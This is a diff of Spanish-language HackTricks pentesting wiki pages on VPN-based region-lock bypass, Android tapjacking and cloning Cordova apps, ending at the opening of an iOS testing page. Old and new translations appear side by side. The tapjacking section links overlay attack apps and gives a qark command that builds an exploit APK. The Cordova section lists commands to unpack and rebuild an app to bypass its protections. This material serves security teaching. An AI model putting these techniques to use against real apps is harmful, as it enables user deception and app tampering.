* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
En situaciones donde una aplicación está restringida a ciertos países y no puedes instalarla en tu dispositivo Android debido a limitaciones regionales, falsificar tu ubicación a un país donde la aplicación está disponible puede otorgarte acceso. Los pasos a continuación detallan cómo hacer esto:
En situaciones donde una aplicación está restringida a ciertos países, y no puedes instalarla en tu dispositivo Android debido a limitaciones regionales, suplantar tu ubicación a un país donde la aplicación está disponible puede otorgarte acceso. Los pasos a continuación detallan cómo hacerlo:
1. **Instalar Hotspot Shield Free VPN Proxy:**
- Comienza descargando e instalando Hotspot Shield Free VPN Proxy desde la Google Play Store.
- Comienza descargando e instalando Hotspot Shield Free VPN Proxy desde Google Play Store.
2. **Conectar a un Servidor VPN:**
2. **Conectar a un servidor VPN:**
- Abre la aplicación Hotspot Shield.
- Conéctate a un servidor VPN seleccionando el país donde la aplicación a la que deseas acceder está disponible.
- Conéctate a un servidor VPN seleccionando el país donde la aplicación que deseas acceder está disponible.
3. **Borrar Datos de Google Play Store:**
- Ve a la **Configuración** de tu dispositivo.
- Dirígete a **Aplicaciones** o **Administrador de aplicaciones** (esto puede variar según tu dispositivo).
- Encuentra y selecciona **Google Play Store** de la lista de aplicaciones.
3. **Borrar datos de Google Play Store:**
- Navega a **Configuración** de tu dispositivo.
- Procede a **Aplicaciones** o **Administrador de aplicaciones** (esto puede variar según tu dispositivo).
- Busca y selecciona **Google Play Store** de la lista de aplicaciones.
- Toca en **Forzar detención** para terminar cualquier proceso en ejecución de la aplicación.
- Luego toca en **Borrar datos** o **Borrar almacenamiento** (el texto exacto puede variar) para restablecer la aplicación de Google Play Store a su estado predeterminado.
- Luego toca en **Borrar datos** o **Borrar almacenamiento** (la redacción exacta puede variar) para restablecer la aplicación Google Play Store a su estado predeterminado.
4. **Acceder a la Aplicación Restringida:**
- Abre la **Google Play Store**.
4. **Acceder a la aplicación restringida:**
- Abre **Google Play Store**.
- La tienda ahora debería reflejar el contenido del país al que te conectaste a través de la VPN.
- Deberías poder buscar e instalar la aplicación que antes no estaba disponible en tu ubicación real.
- Deberías poder buscar e instalar la aplicación que anteriormente no estaba disponible en tu ubicación real.
### Notas Importantes:
- La efectividad de este método puede variar según varios factores, incluida la confiabilidad del servicio VPN y las restricciones regionales específicas impuestas por la aplicación.
- El uso regular de una VPN puede afectar el rendimiento de algunas aplicaciones y servicios.
- Ten en cuenta los términos de servicio de cualquier aplicación o servicio que estés utilizando, ya que el uso de una VPN para evadir restricciones regionales puede violar esos términos.
### Notas importantes:
- La efectividad de este método puede variar según varios factores, incluyendo la fiabilidad del servicio VPN y las restricciones regionales específicas impuestas por la aplicación.
- Usar regularmente una VPN puede afectar el rendimiento de algunas aplicaciones y servicios.
- Ten en cuenta los términos de servicio de cualquier aplicación o servicio que estés utilizando, ya que usar una VPN para eludir restricciones regionales puede violar esos términos.
## Referencias
## References
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Tapjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,27 +22,27 @@ Otras formas de apoyar a HackTricks:
## **Información Básica**
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visualmente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para interactuar con ella, mientras pasa la interacción a la aplicación víctima.\
En efecto, **ciega al usuario para que no sepa que en realidad está realizando acciones en la aplicación víctima**.
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**.
### Detección
Para detectar aplicaciones vulnerables a este ataque, debes buscar **actividades exportadas** en el manifiesto de Android (nota que una actividad con un intent-filter se exporta automáticamente por defecto). Una vez que hayas encontrado las actividades exportadas, **verifica si requieren algún permiso**. Esto se debe a que la **aplicación maliciosa también necesitará ese permiso**.
Para detectar aplicaciones vulnerables a este ataque, debes buscar **actividades exportadas** en el manifiesto de Android (ten en cuenta que una actividad con un intent-filter se exporta automáticamente por defecto). Una vez que hayas encontrado las actividades exportadas, **verifica si requieren algún permiso**. Esto se debe a que la **aplicación maliciosa también necesitará ese permiso**.
### Protección
#### Android 12 (API 31,32) y superior
[**Según esta fuente**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** los ataques de tapjacking son automáticamente prevenidos por Android desde Android 12 (API 31 y 30) y superiores. Por lo tanto, incluso si la aplicación es vulnerable, **no podrás explotarla**.
[**Según esta fuente**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** los ataques de tapjacking son automáticamente prevenidos por Android desde Android 12 (API 31 y 30) y superior. Así que, incluso si la aplicación es vulnerable, **no podrás explotarla**.
#### `filterTouchesWhenObscured`
Si **`android:filterTouchesWhenObscured`** está configurado como **`true`**, la `View` no recibirá toques cuando la ventana de la vista esté oculta por otra ventana visible.
Si **`android:filterTouchesWhenObscured`** está configurado en **`true`**, la `View` no recibirá toques siempre que la ventana de la vista esté oscurecida por otra ventana visible.
#### **`setFilterTouchesWhenObscured`**
El atributo **`setFilterTouchesWhenObscured`** configurado como true también puede prevenir la explotación de esta vulnerabilidad si la versión de Android es más baja.\
Si se establece en **`true`**, por ejemplo, un botón puede ser automáticamente **deshabilitado si está oculto**:
El atributo **`setFilterTouchesWhenObscured`** configurado en true también puede prevenir la explotación de esta vulnerabilidad si la versión de Android es inferior.\
Si se establece en **`true`**, por ejemplo, un botón puede ser automáticamente **deshabilitado si está oscurecido**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -54,42 +55,43 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
La aplicación **más reciente de Android** que realiza un ataque de Tapjacking (+ invocando antes una actividad exportada de la aplicación atacada) se puede encontrar en: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
La **aplicación de Android más reciente** que realiza un ataque de Tapjacking (+ invocando antes de una actividad exportada de la aplicación atacada) se puede encontrar en: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Sigue las **instrucciones del README para usarla**.
### FloatingWindowApp
Un proyecto de ejemplo que implementa **FloatingWindowApp**, el cual se puede utilizar para colocarse encima de otras actividades y realizar un ataque de clickjacking, se puede encontrar en [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un poco antiguo, buena suerte construyendo el apk).
Un proyecto de ejemplo que implementa **FloatingWindowApp**, que se puede usar para superponerse a otras actividades y realizar un ataque de clickjacking, se puede encontrar en [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un poco antiguo, buena suerte construyendo el apk).
### Qark
{% hint style="danger" %}
Parece que este proyecto ya no se mantiene y esta funcionalidad ya no funciona correctamente.
Parece que este proyecto ahora no está mantenido y esta funcionalidad ya no funciona correctamente.
{% endhint %}
Puedes usar [**qark**](https://github.com/linkedin/qark) con los parámetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para crear una aplicación maliciosa y probar posibles vulnerabilidades de **Tapjacking**.
Puedes usar [**qark**](https://github.com/linkedin/qark) con los parámetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para crear una aplicación maliciosa para probar posibles vulnerabilidades de **Tapjacking**.\
La mitigación es relativamente simple ya que el desarrollador puede optar por no recibir eventos táctiles cuando una vista está cubierta por otra. Utilizando la [Referencia del Desarrollador de Android](https://developer.android.com/reference/android/view/View#security):
La mitigación es relativamente simple, ya que el desarrollador puede optar por no recibir eventos táctiles cuando una vista está cubierta por otra. Usando la [Referencia del Desarrollador de Android](https://developer.android.com/reference/android/view/View#security):
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con pleno conocimiento y consentimiento del usuario, como otorgar una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin darse cuenta, ocultando el propósito previsto de la vista. Como remedio, el framework ofrece un mecanismo de filtrado táctil que se puede utilizar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con el pleno conocimiento y consentimiento del usuario, como conceder una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin que se dé cuenta, al ocultar el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado táctil que se puede usar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
>
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el framework descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca una notificación, diálogo u otra ventana por encima de la ventana de la vista.
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques siempre que un toast, diálogo u otra ventana aparezca sobre la ventana de la vista.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Aplicaciones Cordova
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Para más detalles, consulta [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Esto es un resumen:
**Para más detalles, consulta [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Este es un resumen:
Apache Cordova es reconocido por permitir el desarrollo de **aplicaciones híbridas** utilizando **JavaScript, HTML y CSS**. Permite la creación de aplicaciones para Android e iOS; sin embargo, carece de un mecanismo predeterminado para asegurar el código fuente de la aplicación. A diferencia de React Native, Cordova no compila el código fuente por defecto, lo que puede llevar a vulnerabilidades de manipulación de código. Cordova utiliza WebView para renderizar aplicaciones, exponiendo el código HTML y JavaScript incluso después de ser compilado en archivos APK o IPA. Por otro lado, React Native emplea una máquina virtual de JavaScript para ejecutar el código JavaScript, ofreciendo una mejor protección del código fuente.
Apache Cordova es reconocido por permitir el desarrollo de **aplicaciones híbridas** utilizando **JavaScript, HTML y CSS**. Permite la creación de aplicaciones para Android e iOS; sin embargo, carece de un mecanismo predeterminado para asegurar el código fuente de la aplicación. A diferencia de React Native, Cordova no compila el código fuente por defecto, lo que puede llevar a vulnerabilidades de manipulación de código. Cordova utiliza WebView para renderizar aplicaciones, exponiendo el código HTML y JavaScript incluso después de ser compilado en archivos APK o IPA. React Native, en cambio, emplea una VM de JavaScript para ejecutar código JavaScript, ofreciendo mejor protección del código fuente.
### Clonar una Aplicación Cordova
### Clonando una Aplicación Cordova
Antes de clonar una aplicación Cordova, asegúrate de tener instalado NodeJS junto con otros requisitos como el SDK de Android, Java JDK y Gradle. La [documentación](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) oficial de Cordova proporciona una guía completa para estas instalaciones.
Antes de clonar una aplicación Cordova, asegúrate de que NodeJS esté instalado junto con otros requisitos previos como el SDK de Android, Java JDK y Gradle. La [documentación](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) oficial de Cordova proporciona una guía completa para estas instalaciones.
Considera una aplicación de ejemplo llamada `Bank.apk` con el nombre de paquete `com.android.bank`. Para acceder al código fuente, descomprime `bank.apk` y navega hasta la carpeta `bank/assets/www`. Esta carpeta contiene el código fuente completo de la aplicación, incluidos los archivos HTML y JS. La configuración de la aplicación se puede encontrar en `bank/res/xml/config.xml`.
Considera un ejemplo de aplicación llamada `Bank.apk` con el nombre de paquete `com.android.bank`. Para acceder al código fuente, descomprime `bank.apk` y navega a la carpeta `bank/assets/www`. Esta carpeta contiene el código fuente completo de la aplicación, incluidos los archivos HTML y JS. La configuración de la aplicación se puede encontrar en `bank/res/xml/config.xml`.
Para clonar la aplicación, sigue estos pasos:
```bash
@ -30,28 +31,28 @@ npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
cd bank-new
```
Copie el contenido de `bank/assets/www` a `bank-new/www`, excluyendo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` y el directorio `plugins/`.
Copia el contenido de `bank/assets/www` a `bank-new/www`, excluyendo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` y el directorio `plugins/`.
Especifique la plataforma (Android o iOS) al crear un nuevo proyecto de Cordova. Para clonar una aplicación Android, agregue la plataforma Android. Tenga en cuenta que las versiones de plataforma de Cordova y los niveles de API de Android son distintos. Consulte la [documentación](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova para obtener detalles sobre las versiones de plataforma y las API de Android admitidas.
Especifica la plataforma (Android o iOS) al crear un nuevo proyecto de Cordova. Para clonar una aplicación de Android, añade la plataforma Android. Ten en cuenta que las versiones de plataforma de Cordova y los niveles de API de Android son distintos. Consulta la [documentación](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova para obtener detalles sobre las versiones de plataforma y las API de Android compatibles.
Para determinar la versión de plataforma de Cordova Android adecuada, verifique el `PLATFORM_VERSION_BUILD_LABEL` en el archivo `cordova.js` de la aplicación original.
Para determinar la versión de plataforma de Cordova Android adecuada, verifica el `PLATFORM_VERSION_BUILD_LABEL` en el archivo `cordova.js` de la aplicación original.
Después de configurar la plataforma, instale los plugins requeridos. El archivo `bank/assets/www/cordova_plugins.js` de la aplicación original enumera todos los plugins y sus versiones. Instale cada plugin individualmente como se muestra a continuación:
Después de configurar la plataforma, instala los plugins requeridos. El archivo `bank/assets/www/cordova_plugins.js` de la aplicación original enumera todos los plugins y sus versiones. Instala cada plugin individualmente como se muestra a continuación:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
Si un plugin no está disponible en npm, se puede obtener desde GitHub:
Si un plugin no está disponible en npm, se puede obtener de GitHub:
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
```
Asegúrese de que se cumplan todos los requisitos previos antes de compilar:
Asegúrate de que se cumplan todos los requisitos previos antes de compilar:
```bash
cd bank-new
cordova requirements
```
Para construir el APK, utiliza el siguiente comando:
Para construir el APK, usa el siguiente comando:
```bash
cd bank-new
cordova build android — packageType=apk
@ -60,18 +61,19 @@ Este comando genera un APK con la opción de depuración habilitada, facilitando
### Herramienta de Automatización
Para aquellos que buscan automatizar el proceso de clonación, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** es una herramienta recomendada. Simplifica la clonación de aplicaciones de Android, simplificando los pasos mencionados anteriormente.
Para aquellos que buscan automatizar el proceso de clonación, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** es una herramienta recomendada. Simplifica la clonación de aplicaciones de Android, facilitando los pasos descritos anteriormente.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Operaciones Básicas de Pruebas en iOS
# iOS Basic Testing Operations
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Resumen de Identificación y Acceso de Dispositivos iOS**
## **Resumen de la Identificación y Acceso de Dispositivos iOS**
### **Identificación del UDID de un Dispositivo iOS**
Para identificar de forma única un dispositivo iOS, se utiliza una secuencia de 40 dígitos conocida como UDID. En macOS Catalina o posterior, esto se puede encontrar en la aplicación **Finder**, ya que iTunes ya no está presente. Una vez conectado el dispositivo a través de USB y seleccionado en Finder, revela su UDID, entre otra información, al hacer clic en los detalles bajo su nombre.
Para identificar un dispositivo iOS de manera única, se utiliza una secuencia de 40 dígitos conocida como UDID. En macOS Catalina o versiones más recientes, esto se puede encontrar en la **aplicación Finder**, ya que iTunes ya no está presente. El dispositivo, una vez conectado por USB y seleccionado en Finder, revela su UDID entre otra información cuando se hace clic en los detalles bajo su nombre.
